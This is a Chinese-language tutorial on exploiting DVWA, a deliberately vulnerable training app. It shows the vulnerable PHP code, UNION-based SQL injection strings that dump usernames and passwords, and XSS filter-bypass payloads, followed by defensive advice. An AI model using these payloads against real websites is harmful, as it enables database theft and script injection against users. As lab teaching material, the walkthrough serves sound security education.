DVWA开启渗透测试之旅与代码分析(二)
字数 1722 2025-08-18 11:39:04
DVWA渗透测试与代码分析:SQL注入与XSS跨站脚本漏洞详解
1. SQL注入漏洞分析
1.1 SQL注入基本概念
SQL注入是指通过把SQL命令插入到Web表单提交或输入域名/页面请求的查询字符串,最终欺骗服务器执行恶意SQL命令的攻击方式。这种漏洞可能导致获取网站管理员权限,特别是针对MSSQL数据库。
1.2 Low级别SQL注入
漏洞代码分析:
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
测试方法:
- 输入
1'测试是否存在注入点,观察是否报错 - 确定字段数:
1' order by 2#(不报错)→1' order by 3#(报错),确认字段数为2 - 利用联合查询进行注入:
1' union select 1,version()#→ 查询数据库版本1' union select database(),2#→ 查询数据库名称1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#→ 查询表名1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#→ 查询列名1' union select 1,group_concat(user_id,first_name,last_name,user,password,avatar) from users#→ 查询用户数据
1.3 Medium级别SQL注入
防御措施:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_POST['id']);
绕过方法:
- 使用POST请求提交数据
- 构造
id=1 or 1=1绕过 - 注意特殊字符会被转义,需要采用其他绕过方法
1.4 SQL盲注类型
- 基于布尔的盲注:服务器返回真/假结果
- 基于时间的盲注:通过响应时间判断
- 基于报错的盲注:通过错误信息判断
2. XSS跨站脚本漏洞分析
2.1 XSS基本概念
XSS攻击是由于Web应用程序未对用户输入进行严格过滤,攻击者注入恶意脚本代码到网页中,当用户浏览时执行恶意代码。常用于窃取cookies获取用户名和密码。
2.2 Low级别XSS
漏洞代码:
if(isset($_GET['name'])){
echo '<pre>' . 'Hello ' . $_GET['name'] . '</pre>';
}
测试方法:
- 输入
<script>alert(123)</script>成功弹窗 - 通过审查元素确认代码已插入HTML
2.3 Medium级别XSS
防御措施:
$name = str_replace('<script>', '', $_GET['name']);
绕过方法:
- 大小写绕过:
<ScRiPt>alert(123)</ScRiPt> - 双标签绕过:
<scr<script>ipt>alert(123)</script> - 其他HTML标签:``
2.4 High级别XSS
防御措施:
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);
绕过方法:
- 使用非script标签:``
- 使用其他事件处理器:
<body onload=alert(1)>
2.5 Impossible级别XSS
防御措施:
- 添加user_token验证
- 使用
htmlspecialchars()函数转换特殊字符为HTML实体
3. 防御建议
3.1 SQL注入防御
- 使用参数化查询/预处理语句
- 对输入进行严格过滤和转义
- 最小权限原则设置数据库账户
- 使用Web应用防火墙(WAF)
3.2 XSS防御
- 对所有用户输入进行HTML实体编码
- 使用Content Security Policy(CSP)
- 设置HttpOnly标志保护cookies
- 实施输入验证和输出编码
- 使用现代框架(如React、Vue)的自动转义功能
4. 测试工具推荐
- SQL注入:sqlmap、Burp Suite
- XSS:XSS Hunter、BeEF Framework
- 综合工具:OWASP ZAP、Burp Suite Professional
5. 总结
本文详细分析了DVWA中SQL注入和XSS漏洞的不同安全级别实现,包括漏洞原理、测试方法和防御措施。理解这些漏洞的本质和防御方法对于Web应用安全至关重要。建议在测试环境中实践这些技术,切勿在未经授权的系统上进行测试。